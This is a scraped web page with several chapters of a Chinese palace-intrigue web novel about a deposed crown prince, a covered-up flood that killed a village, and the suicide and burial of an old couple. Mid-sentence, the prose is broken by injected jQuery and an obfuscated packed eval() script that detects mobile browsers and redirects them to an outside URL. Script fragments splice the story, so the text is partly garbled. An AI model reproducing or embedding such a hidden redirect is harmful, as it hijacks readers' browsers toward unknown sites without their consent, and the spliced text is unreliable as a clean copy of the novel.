$(''.inform'').remove(); $(''#content'').append('' 痛忧思过度之症,取了些药材,江知雪已熟练煎药,主动揽活去了厨房。 妇人生病,沈思安与刘择良不便在房中多待,一前一后出了房屋,留张铁立和云双照看。 沈思安在院中站立,看枝头风声萧萧。 刘择良在身后作拜,轻声唤道:“殿下。”待沈思安回头,他方才直起身,笑看向对方。 无事不登三宝殿,沈思安知他有话要说,往厨房向江知雪取一杯盏和净水,寻院中桌旁坐下。 刘择良会意,亦几步落座,试探问道:“殿下,不知在下方才所言可有对错?” 沈思安先是摇头,而后又点头。 正确的是朝廷和国家岌岌可危的现状,错误的是张兆阳之死。 张兆阳确死于官员、圣上之手,却非个别官员混淆黑白、圣上未细查探,而是众多官员瞒而不报、皇帝一叶障目之故。 张兆阳初至京城时,各处水灾处理已近乎完备,朝臣官员早已上书奏章,陈情汇报情况。多日来因水患而愁眉不展、寝食难安的陛下在一片喜报中大手一挥,主要负责官员加官升迁,次要官员及付出行动者赏金银珠宝。全城上下无不欢呼,对此大赞特赞。 正是这个时候,张兆阳满怀希望敲响官衙堂鼓,大喊冤屈:除去因事在外的他们一家,虎头村一百六十七口人皆死于水灾。此事发生已有月余,却未得官府一人来访,不求金银钱财,但求村民安眠地下,望官爷明察。 那官爷高坐明堂之上,宽和笑着,细细询问了事情经过,言此事需调动人手,让他在京中暂留几日,筹备完人手便随他前去。待张兆阳走后,转头变去寻了上级。 此事就这样秘而不宣地在各官员之间相传,得到的结果一致:水灾一事已有定论,任何变数皆是对涉事官员的不利,严重点或有掉脑袋的风险。那些人死便死了,此时再声张或大动干戈,也救不回他们的命。 过了半月,张兆阳左等右等,仍得不到回复,又去官衙询问。这一次,他没有再进得去,连堂鼓还未来得及敲,便被门口差役轰了出去。 张兆阳心中隐有猜测,觉此事不对劲,未过多执着,转而去了大理寺和刑部。 那里门楼高耸,威严肃穆。他心惊胆战向前走去,未至门口,又被轰出。天边下了小雨,他毫无预兆被推倒在湿地里,一身新衣染了脏污。 而那一日,沈思安从庙宇为此次水灾罹难者祈福而归,坐黄金轿辇之中,随数十金吾护卫。仪仗巍峨,赫赫煌煌。 街道两旁行人纷纷避让,不敢言语。却有一人突然冲出,拦住了他的去路。 前头金吾卫已拔剑而出,剑刃与剑鞘间摩擦发出铮然声响:“什么人?” 人群刹时连脚步声也无,四周一时只剩抽气声。 “草民有事要禀,求太子为草民主持公道。”张兆阳跪在雨中,任雨水打湿头发衣裳。他是一路于人群中听到轿辇中人的身份。 彼时沈思安也不过十一岁,已行事沉稳,行动果决。他平静道:“寻大理寺或刑部。” 可对方执意不肯起身退让,即使金吾卫的刀架在他的脖子上。 众目睽睽之下,他只得应下,不为他自己,而为了他身后之人。 午阳门外,沈思安听得张兆阳一番阐述,心中大惊,直言此事交给他处理,且静待几天。又恐其不信,摘了腰间玉牌作为信物,让他安心。 这一次,不为别的,只为那无辜遇难而事实无法大白于天下的一百六十七虎头村村民。 39. 虎头村(十一) 高高的漆红宫墙隔绝了外界对内里的窥探打量,向宫街地面投下阴影。沈思安乘步辇行于其间,细细思考此事对策。而今朝廷上下勾结,官官相护,以其为契机,定能拔出不少蛀虫,清扫时下隐弊。 犹记当时,他于在朝华宫前下辇,小雨初晴,日出云层,照得朝华宫金灿灿一片,显得愈发威严庄重。 皇后坐雕凤砌云之宝座,不由分说命人押住他,慵懒高傲的声音从上方传来,落在空旷的殿中,空灵而幽深。她说:“你又犯了错。” 未及三刻,张兆阳一事始末便进了皇后耳中。 一股寒意自脚下升起,沈思安心下发凉,知此事自己或再无力相助,却仍开口,妄以蚍蜉身份去撼动大树:“可那是一百多条人命......” “水灾一事,目前已是最好的结果。”皇后干脆打断,脚步声从高台由远及近,但见一片金丝衣摆,他的下巴被对方隔着一层蜀丝帕挑起。 沈思安抬头,看见皇后眼中闪过一瞬怔愣,旋即被讽刺替代。 “眼下局势难明,牵一发而动全身,朝华宫容不得半点差池。你此举......已是僭越了。”她直视他的眼睛,仿若要将他洞穿,里头是不加掩饰的冷漠:“别忘了自己的身份。关铁囚三日,鞭二十吧。”随即扬长而去,蜀丝帕掉落在地,为皇后的话锤下定音。 那时圣上新得一美人,每日与其欢歌宴舞,又有各方势力对朝华宫及太子虎视眈眈,皇后如临大敌,如履薄冰,唯恐这朝华宫殿易了主。不过一些已经死了的刁民,怎敢以此来让朝华宫落下话柄? 铁囚三日,沈思安早已狼狈不堪。铁链末端缚住手脚,顶端悬于铁囚上下四角,犹在渗血的鞭伤在盐水的浸透下,只会更加痛苦。他却面色不改,一声未吭。他早已习惯了这些,习惯了忍受。 第三日,未过受罚时间,幽室大门洞开,一片刺目白光中,走进一个身影。 他坐精雕细刻的棠梨木椅上,正对着沈思安,着蛟袍,踏锦靴,金雕玉砌,贵不可言。 “我的好哥哥,怎么伤成了这个样子?”他声音温和,与铁囚中人相同的一双眼睛却是阴狠的:“看看我带了什么过来?” 手指张开,其上躺着的赫然是那日沈思安交给张兆阳的信物。 “昨日在午阳门,那人突然窜出来,将此物给我,问我可查到了什么?我敷衍他几句后,命人调查才知,你居然以吾的身份在外行这等荒唐之事,简直是为朝华宫树敌,为我树敌!”他眼睛盯着掌心玉牌,愤怒的声音里带了讥笑:“幸亏是撞见我,才得以拿回这东西。你可知,就在今日,他已经被母后给杀啦!” 沈思安这才抬起头,望着那与他相同样貌、真正尊贵之人,苍白唇中话语破碎,几乎难以成句:“谢皇后娘娘、太子殿下教诲。” 椅上之人瞧着铁囚里不成人样又乖顺无比的人,宛如一条被规训的狗,顿觉索然无趣。他站起身,将玉牌向他丢去,眼中恢复了阴狠:“你要时刻谨记自己的身份,别做不该做的事,沈错。”最后两个字音调古怪。他在提醒他,他终不是沈思安,而是似警告,又似厌恶。 说完,他便转身漫不经心迈了出去。 玉牌碰到铁栏,“咔擦”一声,碎成两瓣。 沈思安看着地上的碎片,未有动作。良久,静到极致的石室发出一声轻笑,而后笑声越来越大,直至震得铁链乱颤,哗啦作响。 他一直认为张兆阳是因自己而死,或许至死仍在恨着他,因他未信守诺言。直至现在。 可事实是,张兆阳那日在午阳门前同真太子说话,就已辨出此人并非几日前所见之人,即使二人相差无几。那人告诉他:他怀抱期望的太子不过是个冒牌货,现在正被关着受罚呢。 张兆阳被吓得不停颤抖,但直至被折磨到死前,口中仍说着:“你如何堪为太子?视人命如草芥,滥杀无辜,比不得你手足分毫!” …… 太阳穿过水汽,照得吹过来的风都带着湿润的暖意,驱散了旧忆里的阴冷。 沈思安不愿说谎,却选择了隐瞒。他只简短写了张兆阳亡故原因,未提及个人痛苦分毫。 “是皇后所杀?圣上竟分毫不曾知晓。”刘择良对前者有些惊讶,对后者是陈述。圣上如今已是愈发昏聩。 真太子虽阴狠毒辣,却是对皇后言听计从。张兆阳一事关乎朝华宫,就算他蠢笨不堪,亦能察觉一二,断不敢私自动手,只能是皇后默允。说是皇后所杀也不算作假。 “殿下打算今后如何?”刘择良又问。眼下太子殿下来去自如,他敏锐察觉其已脱离朝廷掌控。 沈思安不假思索写道:“去北陵。”眼睛一错不错盯着刘择良。北陵确是他此行目的地,同时,他也想看看对方作何反应,是何目的。 北陵地处偏远,常年冰雪,难生寸草,是极寒穷苦之地。即便已是自由之身,也愚钝固执非要去那流放之地?刘择良眼底闪过一丝失望。 但瞧殿下风骨如旧,不可催折,刘择良头脑中又隐隐有个声音在说:你可以相信他。 “北陵遥遥难及,路途艰险,观殿下一行行囊尚少,恰逢在下手头尚丰,不若出了这村落,为殿下添置一二?” 沈思安瞧见他眼底情绪,又听紧随其后的诚恳言辞,一时拿不定主意,只写道:“暂可维持生存,勿需担心。” “范婶醒了,想让刘公子进去帮他们看看信中写了什么。”江知雪掀开布帘,同云双一齐走出,对刘择良说道。心中却纳罕,她与云双亦识得字,为何不直接喊她们帮忙读信? 或许担心其中有些不可为外人道的事。毕竟比起她们,刘公子应是最知道已故张公子之事的人。江知雪心中如此向自己解释。 刘择良读完信,夫妻二人又是一阵呜咽。 他耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675179|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心待他们哭完,才宽慰道:“张公子已尽他所能做到最好,无愧天地,更无愧这村中百姓,定有万盏明灯为其引路,渡天阶,登仙门。”乡下靠天吃饭,靠地为生,他知晓大多数人皆信神佛。“只恨那从上到下都腐烂了的朝廷,寻常人在他们眼中不过蝼蚁……”刘择良不自觉话语又拐向朝廷,说了一半才意识到,堪堪住嘴。 范氏与张铁立已平复下来,面上仍带破碎憔悴之色。二人互相对视一眼,范氏开口:“不知可否麻烦先生一件事?” …… 等待的时间总是令人难熬,江知雪三人在院中站着,未有一人说话,她更觉度日如年。 “那在下便先行告辞了。”过了许久,刘择良的声音才在堂屋布帘处响起。他掀帘而出,步伐有些不稳,神情也透着恍惚。 感到三人探究关切的目光,刘择良牵起嘴角道:“无妨,实在有感于信中情真意切。天色不早,在下还有公务,须得赶快回了。就此作别,盼来日与几位再见。”他拱手做辞别礼。 “刘公子可否告知您来去的路径?”江知雪急忙问道。看他衣衫干净,行色并不匆忙,绝对是知道上去的办法。 刘择良讶然:“你们还不知道?”在对方的点头确认下,他详细说了通路方向,又问道:“不如几位和在下一起走?” 张铁立夫妇才得知儿子故去,正是需要有人陪伴的时候,眼下放任他们二人在此,着实欠妥。但黑衣人紧追不舍,多待一日便是多一日的危险。江知雪犹豫看向沈思安。 沈思安看穿了她的想法,点了点头。 江知雪也读懂他的意思,歉意道:“多谢刘公子告知,我们打算过几日再走。” 刘择良闻此,也不多客套,再次做拜别礼,转身欲走。 沈思安不知何时行至他身后,一把握住他手腕,未有顾及,直接在其手背写道:“可否劳烦你一件事?” 刘择良原本趋于平静的心又快速跳了起来,却面色不改:“请说。” “在宫中帮忙探查当年张兆阳一事真相。”在对方从屋中出来时,沈思安便做了这个决定。 他能看出,刘择良对此事亦十分关切上心,是重情重义之人,否则不会不辞辛劳、抱着被发现的风险,也要来此偏僻之地送来木匣。 这是沈思安八年来的心结,同时也是对他的试探。 “只需探查,不必告知。”沈思安叮嘱。 刘择良郑重点头,最后行拜礼,转身间隙,面上神情有一瞬悲凉:一百六十八人,这是路欢前辈给他的书信中所说虎头村故去人数。或许明日,便是一百七十了。 但真相总有昭彰之日,死水一潭、腐朽不可雕的朝廷宫闱亦会重焕生机。刘择良如此坚信着。 他在那被废的太子身上看到了一簇火苗,而其身边的女子,安国公府的三小姐江知雪,虽看似柔弱,眼中却始终存着一束亮光。 40. 虎头村(十二) “娘娘,今晨那陈兴财仍未寻到路,已被丢去星涯坡下。暗卫复命说,若他活着,那废人定当被他所杀;若他死了,那废物也绝活不成。”沐芳示意其他人下去,自己拿过墨锭细细研磨。 皇后正在看奏章,她未抬头,只道:“嗯……那几个人倒是会诡辩。不过此法尚可,陈兴财定当恨透了他,恨不得将其千刀万剐。”她当初在天牢亲眼看见他被挑断手筋,如今除了逃命,便只剩死在陈兴财刀下这一个结果。 “那星涯坡下是个什么地方?”皇后停顿几息,又漫不经心询问。 “据说密林葱茏,无人能窥其貌。而林木深处多毒虫野兽,想必其下也是如此。不过……曾经那里是虎头村。” 皇后握着朱砂笔的手顿住:“虎头村?总觉得在哪里听过。” “是八年前水灾……”沐芳轻声提醒。 “呵。”皇后一声嗤笑。原是如此,八年前那个废物想要接手调查虎头村一事,差点害得朝华宫腹背受敌。真没想到,如今竟阴差阳错掉了下去,和他心心念念的村民死在一块儿,也算死得其所了。 …… 刘择良走后,江知雪又进去欲安慰张铁立和范氏。 夫妻二人已不再哭泣,虽眉宇间悲痛愁绪浓得似墨,却笑着让他们快些走,担心再晚些恐又生变故。 “可是,我们也放心不下你们。”江知雪脸上担忧更甚,觉得他们是在强撑。 张铁立摇头:“不用担心,我们在这里生活了几十年,一草一木都了然于心。何况眼下,这几年执念之事已了,细细想来,倒也是释然了。” 江知雪仍是犹豫:“院中现下一片混乱,需要有人收拾,你们今日又是受伤惊吓又是悲思过度,理应好好休息。无论如何,我们都需要帮衬一二,也好报答二位允我们留宿之恩。” “早便说过无需报答,就算报答,几位留下的那一锭银子已远超留宿之恩。我们尚值壮年,院中的杂乱几位贵人怕是还没我们收拾得快,休息就更不必了,多做点事才能少想点呢。”张铁立又是一顿劝,他站起来搀扶范氏起身,又道:“恕我直言,几位身份贵重,在此逗留才是对我们最大的威胁。” 他话说得敞亮,江知雪一时不知如何应对,最后一句话更是彻底断了她就在这里照拂的心思。她只好歇了心思。 张铁立夫妇未再隐瞒,同他们细细说了出去的路。江知雪也向他们说了些嘱咐感念的话,才出了门。 院中陈兴财的尸体已经不见了。江知雪想也没想,一双眼睛向站在桌边的沈思安扫去,对方也在看着她。他的身上干净,并无搬运尸体的脏污痕迹。 江知雪心底疑惑,朝他走去,幅度轻微指着地上血污小声问:“那个人是你弄走的吗?” 沈思安点头。 “如何处理的?你衣服为何还干干净净?” 沈思安捉住她指向血污的手,一一回答:“扔至林中深处。灰土拍掉了。” “这……会不会不太好?”她以为至少会挖个土坑将他埋了,有些害怕随意处置会招致亡灵。 “作恶多端,死不足惜。”沈思安手指微顿,又在她手中划过:“自有野兽安顿他尸骨。” 这番话本是安慰,但江知雪脑中想象着豺狼虎豹啃食那人尸体的画面,只觉不寒而栗,僵硬“哦”了一声,并点了点头。 “对了,我们不必在此多留几日了。张叔范婶担心后面还有刺客,让我们快些离开,我亦怕万一有刺客又像今日这般伤及无辜,思来想去还是先走的好。”江知雪说完,抬头看着沈思安,想知道他是如何想的。 沈思安听得清楚,最后那句话分明张铁立夫妇所说,言语甚是直白,她将其揽作自己的想法,恐怕是不愿他和云双多想,对二人心存怨怼。 但他并未多问,只点了点头。是要快走,估计明澜那家伙快要等不下去了。 不过刺客应是再不会来。皇后一心看天,从未真正见过脚下众生,又日理万机。只要他死了便好,至于怎么死的、在何处死的,她并不在意。 几人挎上包袱,向张铁立和范氏辞行。连日迷茫不知方向的乌云一扫而散,这一次,他们有了明确的出去的道路。 日头高照,鸟鸣声声。江知雪行在路上,回想这一路波折,竟是比话本中还要惊奇。清醒的思绪更突然让心底起了胆寒之意,不是刀光剑影,不是死生鬼神,而是朝堂,她从不关心、只昔日谢怀清憧憬、并从他口中听说,那为国为民的朝堂。 谢怀清将它说得天花乱坠,她只道天家无情,但抛却私下恩怨,人人都是好官,就连那枉为人父的安国公也不例外。可过去的阿娘、现在的虎头村、身侧的沈思安,将她深以为然的想法推翻。刘择良评判朝廷的话犹在耳畔,她竟不知谁的话更可信一些。 暗道处在一矮坡底下,上面枝蔓覆盖,有被翻动的迹象,应是刘择良来去时所致。 洞中漆黑一片,沈思安摸出火折子吹燃。三人一边打量四周,一边向深处走去。 通路呈平缓向下趋势,洞顶及两面嵌了石子,以防塌陷,其间生出过去的衰草和长短不一的新芽。 江知雪本以为此通路是张铁立夫妇二人所挖,八年时间,应足够开出一条密道。可路欢前辈送物什亦是从八年前开始,或许这条通路很早便存在于此了。 他们走过下缓路段,来到平路,未行多远,道路陡然变为上坡。一道道不明显的阶梯被凿刻,江知雪望着脚下台阶,莫名想到前几日从星涯坡下来,最后路段青苔遍布、陈旧破败的样子。有没有可能,那些石阶曾经直通崖顶? 几人一路默契,皆没有开口说话。 不知过了多久,在江知雪和云双都快力竭、喘着粗气时,脚下开始有阴冷的风吹过。 “我们是不是快要到出口了?”江知雪疲惫询问。她在书中见过:洞中有风,则为通路,而离洞口愈近,风便愈强。 沈思安点头,眼睛却看向前方高处。 “殿下?”刘择良的声音在头顶响起,带着洞内的回声,吓得江知雪一个激灵。 她抬头看去,刘择良正靠在壁上,不知在做什么。 “你们不是说要等几天再走?”他扶墙撑起身子,面对着他们问道。 江知雪将之前向沈思安解释的话又复述了一遍。三人走至他面前,江知雪学他靠在壁上,疑惑道:“刘公子不是先行一步,在此处做什么?” 刘择良面上现出羞赧:“实在太累,分明来时还不觉得,现在只觉脚下千金重,便在此处休息一会儿,同江姑娘一样。” 这下轮到江知雪脸上浮现红晕,心里不住吐槽:他说归说,最后一句为何偏要带上她,同她一样是值得骄傲的事吗? 一双眼睛却偷偷瞟向沈思安,生怕他笑话她。 沈思安静静站在那里,脸上表情没什么变化。 好吧,他向来如此,倒也不必担心。江知雪暗自呼出一口气。 又是一阵寒暄,空气逐渐变得尴尬,而后两人双双住了嘴。 一直沉默的云双这时才突然开口:“刘公子不是赶着回去处理公务?” 此话一出口,三双眼睛共同盯着他。瞧他现在的精神状态,应是已歇息很久了,若公务繁忙,那在此逗留闲话是为了什么? “啊……这……我……”刘择良心有惴惴,实在是没料到他们会紧随其后,竟忘了这一茬。 一番纠结,他最终还是老实道:“我有一句话,不知……” “刘公子快请讲吧。”云双补道。话本中常有这句话出现,而接着的一句无论当不当讲,都会被讲出来,她已厌烦了那套。 “实不相瞒,我在此歇息,一则是实在疲惫,二则是在纠结往回走还是往上走。”说到这里,刘择良又停了下来。 “何解?”江知雪催促道。 他一一扫过三人眼睛,都颇有种不追问到底不罢休的架势,再加上自己良心受到的谴责,最终破罐子破摔道:“张兆阳父母一心求死,你们此番被他们劝出来,估计也是因为 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一路上,刘择良都在解释他的苦衷,他说:“我劝过他们,可二老形容悲怆,只说心意已决,我也是没有办法。那时我观他们面色,心中想:与其让他们后半生沉湎于丧子失村之痛,倒不如成全了他们的想法。” 又说:“出来时听闻殿下一行还会在此再住几日,我想多少能看顾着些,便又稍稍放了心。” “在下并非见死不救,罔顾性命,否则我早便走了,也不会再在通路那里万般纠结……”眼见似乎越解释越牵强,将自己越描越黑,刘择良闭了口,转而只无力道:“你们一定要相信我。” 若说初听时,几人皆是气愤难平,随着行了一路,脑中想法几经转变,江知雪他们也理解了他的做法,放任任何一人遇到此事,都难想出两全其美的办法。但…… “你若想让我们看顾,就应在离开之前将真相告知我们。什么都不知道,又如何注意?如果他们……我们该怎么负责,愧疚几时?”江知雪仍是有些气愤。 …… 刘择良进屋不过几瞬,又连忙退了出来,神情恐慌,脸色惨白,手指向屋内道:“他们、他们已经……” 疯狂跳动的心刹时停了下来,一直慌张不已的江知雪听到结果的这一刻反而平静,她未再过多犹豫,掀开帘子抬脚迈了进去。 沈思安正站桌边,手里拿了一张信纸在看,通身都流露出无边落寞和苦痛,这是江知雪头一回感受到他如此浓烈外放的情感,连走到他身边,他都浑然未觉。 朴素陈旧的床榻上,张铁立与范氏安静躺着,二人脸上并无痛苦,仿佛只是睡着。窗外阳光趁着缝隙钻进屋内,打在他们身上,将他们轮廓照得柔和而温暖,似下一刻便要羽化而登仙。 两行清泪自江知雪脸颊滑落,那种绵延的悲沉与怅然不像剧烈的痛苦,能让人大哭一场宣泄自身情绪,反而似钝刀割肉,一下一下如受凌迟之苦。 她融入进沈思安周身的苦痛悲寂之中。 隔了很久,沈思安才将手上信纸递给她,示意她去看。 纸张粗糙泛黄,似乎已历经多年时间,然纸面平整,除为放入信封的折痕,未见其他褶皱,一看便是被人细心保存。 纸上墨迹犹新,一笔一划皆颇为端正,细看却能见个别字迹轻微抖动的幅度。 信中是张铁立夫妇未尽之言,他们是虎头村最后还活着的人,怕离世后再无人知晓,此荒芜之地曾是一个村子,叫虎头村。 他们说:“此处是永宁十十六年因水灾而受害之地,村中一百六十七人皆不幸遇难,同年次月,吾儿为此事进京请命,客死他乡。逾期八年,我们才偶然得知。今欲亡于乡土,特写此信,并不期望后来者因好奇而调查,只盼有人能记住这崖下密林,葱茏之处,曾有一百七十人生活在此,一个叫虎头的村子。 41. 金缕衣(一) 刘择良心下大恸,越发怀疑自己先前的做法是否正确:“我以为不会这么快……是我做错了吗?若我坚持阻止他们,或当时直接告诉你们,会不会就不是这样?”他双手扶墙,呈面壁思过状。 “大人不必如此。”云双靠在门框,脸色发白,唇角轻颤:“我见过太多这样的事,亦亲身经历过这样的事,妻离子散、家破人亡,独活者如何承受阴阳相隔之痛?若非当初得遇小姐,只怕我亦万念俱灰,不愿一人存活。” 刘择良转头,神情微讶,没想到眼前这位憔悴瘦弱的姑娘还有这样的经历:“姑娘不进去看看吗?” 云双摇头,看着天际白云漂浮:“我不敢再看。” 她的声音并未收着,仅一墙之隔且门窗洞开的屋中,江知雪清清楚楚听到了她说话的内容。 江知雪低敛双眸,略停顿了一会儿,才将信纸递还给沈思安,抬手擦去脸颊泪水,再看向盈满阳光的床榻,嗓音喑哑:“我们接下来应该怎么办?” 她私心希望能有三副棺椁,将张铁立夫妇二人与其子衣物合葬一处,再点燃白烛、洒满纸钱,行礼祭拜,好让其魂归九泉,得以安宁。可眼下什么都没有,或许只能以土掩之,不至于暴尸荒野。 但行程会否被耽误,追杀之人万一卷土再来,沈思安又是否会为毫不相干之人做到这个地步,她不能得知,并为此感到担忧。 沈思安却像是预料到她的想法,他写道:“让他们入土为安。” 江知雪微怔,惊讶于他竟能做到如此。当即不再犹豫,出了屋子,同外面二人商量。 刘择良因心中愧疚,加之涉及路欢前辈和太子殿下,不可能不答应。而云双许是思及过去,亦答应得干脆。 几人寻了屋中铁锹、锄头等工具,于屋后空地处挖了起来。 泥土湿润,并不难挖,却直至太阳彻底落山,弯月斜斜升起时,一切才安置妥当。 按江知雪的想法,张兆阳遗物存于木匣同张铁立与范氏合葬,放在里头的还有江知雪晨时所给的一锭银。 不算高的土堆旁并未立碑,也未置木牌。无酒无供品,无烛无纸钱,几人就地跪下,三行叩首。 江知雪心中愁绪无以言表。她看着面前这一抔黄土,只觉今日的一切都太过荒诞。 刘择良和云双先行一步去收拾行囊,身侧沈思安仍跪地未起。 江知雪再次在他身旁跪下,冷风吹打着周身,将她的声音也吹得飘渺:“殿下,你说朝廷应是什么样子?” 她已许久未再称呼他为殿下,他知道她欲知晓的是太子心中朝廷应有的样貌,而非圣人书中所写。 他简短写道:“清正廉洁,为国为民。” “那现在朝廷是什么样子?” 沈思安手中停顿,不由看向她,不知她意欲何为。 朦胧月色里,江知雪感知到对方视线,与他对视,却只得见他的轮廓。 她仔细辨别手中字迹:“昏聩帝王,贪官污吏。” 原以为他身为旧太子,身份尊贵之人,多少会维护一下他出生生长的地方,没想到说出的话与刘择良相比有过之而不及。 如此,她已经知晓,昔日那谢怀清所言,恐也只是书中所得,一叶障目。 “既如此,那这片土地下百余亡魂可有重新被众人所知的一天?” “不会有。”沈思安写道,眼见对方眼底浮现出失望,不由得又道:“至少现在。但或许以后会有那么一天,连同其他不为人知被水灾掩埋的地方。”八年前水灾所涉范围甚广,绝非仅此一处被忽视。 江知雪闻此,眼中重新聚起光芒:“希望那一天不会太晚。” 她又一个叩首,心中道:“张叔范婶,我会沿路搜集线索,若有能回来的一天,我定尽我所能替你们申冤。” …… 暮色如墨般浓稠,林木深处不时有野兽嘶吼。按理来说,应歇至明日白天赶路。但这处茅草房已非能住人之处,江知雪、云双与刘择良皆对此讳莫如深。 泛黄信纸被重新放回信封,寻一木箱存放在桌上,只等日后有缘人再次开启。 四人沿白日路途摸黑行走。江知雪欲点火照亮,被沈思安一把握住手,云双在一旁语气不太自然地解释:“野兽惧光,但这微弱火光却会吸引它们。还是不要点燃比较好。” 江知雪懵懂点头应是,收回火折子。而后眼珠微转,再看向云双时,已带了恐惧神情:“可是云双,我实在害怕。”白日里云双的话与其现下的主动,没道理让她再矜持,而错过和好的时机。 她确实怕鬼,但有其他人在身边,总归是让人安心的。 沈思安默默看着她表演,并不打算拆穿她。 走在最末尾的刘择良一听这话,踊跃自荐:“江姑娘别怕,我会保护你的。” 未及沈思安眼神提醒,云双先一步呛道:“刘大人,您是否有些冒昧?”暂不论自家小姐早已嫁人,自有夫君护着,就算待字闺中,也应是她来保护,何须一外男插足。 今日一事,让云双想到她与小姐第一次见面,也让她彻底想清楚了,没有事物一成不变。回顾前几日的自己,宛如被下了降头一般,自私冷漠到极点,心中便有一股郁气和愧疚。 连她自己都无法做到不变,又如何能要求小姐。小姐于她,是再造恩人。若小姐心中真无她,早在星涯坡的洞穴中,便与她决裂,何须多此一举劝慰她。 如今路途难料,艰险若此,她应当与小姐互相扶持,患难与共。 刘择良面上一阵尴尬:“可……是我唐突了。”堂堂七尺男儿,他总不能说自己也怕鬼吧。 几人有惊无险,伴着四周虫鸣或远处野兽嚎叫,在寒凉的黑夜里摸索许久,才终于出了这深山。 面前一望无际,道路平坦宽阔,早已疲惫的身躯,乍然经受久违的干燥冷风,竟感到舒缓放松。 “沿此往南行三十里,可至京中;而往北再行十里,便是官驿。”刘择良见众人茫然四下打量,解释道。他在来此之前仔细研究过附近路线。 乍听见官驿,江知雪心中一喜,明澜曾说在前方官驿等着他们。然笑容未至嘴角,她的心又猛然一沉,他们原本行程便是要停留官驿休息,中途遭遇截杀,焉知那些黑衣人会不会在官驿候着,只等他们上钩?还有,她似乎从未想过,黑衣人是谁所派,为何紧追不放? 江知雪的目光不觉看向沈思安,那些人意图明显,只针对他,想必他应当知道些什么。 沈思安只当她是不知往何处去,抬手指向西边。 "可......"江知雪仍有顾虑。 沈思安摇了摇头,让她宽心。明澜既说于官驿等候,那里绝对是最安全之所。 “不知在下能否与各位同行一段路?”刘择良看着四面即使宽阔但依旧漆黑的路,出声询问。 云双不解:“大人不回京?” “此时城门早已关闭,在下想回也无法了。”他眼神带着期盼望向沈思安。 “那你先前往南往北的还说个什么劲儿,怎么走也只有官驿这一个选择。”云双忍不住腹诽。 沈思安对此并无异议,趁此机会还可让明澜调查一下他。 漫长黑路,一点星火,不时几句闲谈,约莫半个时辰,终见前方灯火通明的一座建筑。 连片屋舍,玄瓦白墙,屋檐灯笼随风摇晃,烛火抖动,照在墙上忽明忽暗。 还未至跟前,漆桐油木门“吱呀”一声打开,里面飞速跑出来一个人影。 “沈……思安兄!”是明澜。 他穿一身月白衣衫,袖口衣襟处以黑色镶滚,唇红肤白,初见时的沉稳不复存在。若抛却他奔放的姿态,当是活脱脱一富家贵公子。 几日忧心,日盼夜盼,可算将他盼来。一时高兴,明澜差点叫错名字,幸而眼尖见他身边江知雪与云双,才及时刹住车,话语拐了个弯。 又见其后还有一人,明澜 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话语在口中几经反复,刘择良终于还是问出了口:“明公子是这处官驿什么人?” “不是什么人,不过几日前来此,先行一步等候思安兄。在下是有什么不妥之处引得刘大人误会了吗?”明澜待众人进了院中,关上木门,自然回话,脸上表情透出无辜。 “您与沈兄他们是旧相识?” 明澜一挑眉毛,一双眼看向沈思安背影。京中沈姓者,皆皇亲国戚,想必他已告知那姓刘的身份。真不知道他到底要做什么。 心中虽这么想,明澜语气仍是正色:“是,幼时曾有幸与思安兄比邻而居一段时间,眼下来此实属心中担忧,想偷偷为他调理调理。”他后一句话声音极轻:“毕竟天牢,我猜大人比我清楚所为何地。” 刘择良心下了然,不再多问。 甫一进门,江知雪便贴近沈思安,拉拉他的衣袖,以气音道:“这里多半都是些官员,小心些,莫让他们看出了你的身份。”说完她上前一步,站在他身前,企图帮他尽力遮挡。 沈思安点头应是,配合着侧过身,眼睛却不动声色环顾四周。 虽是三月,屋内仍燃着炭火,在外冻僵的身体似乎瞬间暖和起来。 厅中零零散散坐着几人,扫眼望去,竟皆是玄影楼之人。这几日,明澜可真是花了不少功夫。 身后屋门被关上,便听其中有人喊道:“明大夫,人今日可算等着了?” 那人身材健硕,腰间别一把大刀,脸上神情虽调侃,却难掩凌厉之气。此刻正坐一窗门洞开的偏僻角落,吹着冷风喝酒。 “嗐,真是借你吉言,差点没把我等死。”明澜又恢复了笑嘻嘻的模样,同那人打趣了一句。又正色向几人解释:“这是我这几日着实无聊所医治的病人。” 随后十分熟稔拿过桌面茶盏,倒了四杯热水,给他们驱寒。 每个人都会在不同的人面前有不同的样子,实乃正常之事。刘择良见明澜态度转变之快,实在不能一下子接受,只得在心中这般劝慰自己。 暖意彻底冲散冷意后,一股困意直冲脑门。 江知雪以袖掩面小幅度打了个哈欠,小声问身边沈思安:“不知此处可有热水?我想梳洗一番。”今日来回折腾,又挖了土,身上早已黏腻不已,她观云双上下皆已狼狈不堪,只怕此刻自己也是如此。 倒是沈思安,分明他出的力气最大,身上竟还保持着干净清爽。 “有的,就在后院耳房中,不如我先带你们找几间空房,将身上东西先放下,再来提热水?”明澜耳朵尖,立刻走至她身边回道,依旧一本正经。 见刘择良眼中又现出疑惑,他解释道:“此处驿官近日感染了风寒,又生了高热,我代他先张罗几日。” 江知雪眼中闪过古怪,半信半疑下,也学着他的模样客气道:“有劳了。” 42. 金缕衣(二) 明澜安排江知雪与云双在一处,空屋舍虽有多间,然此处到底是京城附近官驿,恐有其他官员前来宿下。 江知雪心中一松,昨日迫不得已,已是羞窘。她不想再这般不清不楚与他同眠。至少在未明双方心意之前,她不愿将就。 但同时,一股怅然自心底升起,伴随着疑惑:作为朋友,明澜为何将她与云双安排一处,而非沈思安?他并不认同她? 不待江知雪问出口,明澜先一步道:“时间紧迫,今夜我需再为他诊治一番。” “是旧伤复发?可有我能帮上忙的?”想都未想,江知雪脱口而出。 明澜摇头:“他的旧伤一直未好。” 又仔细瞧她一眼,言语真诚:“眼下我一人还不至于忙不过来。倒是你,眼底乌青,嘴唇苍白,面容发虚,还是好好休息,可别让我再多照顾一个。” 此言并非虚言。被他这么一说,江知雪也觉身心倦怠。 明澜是沈思安故友,可信任之人。 江知雪从善如流,一番感谢,看人消失在屋舍拐角,才进了屋。 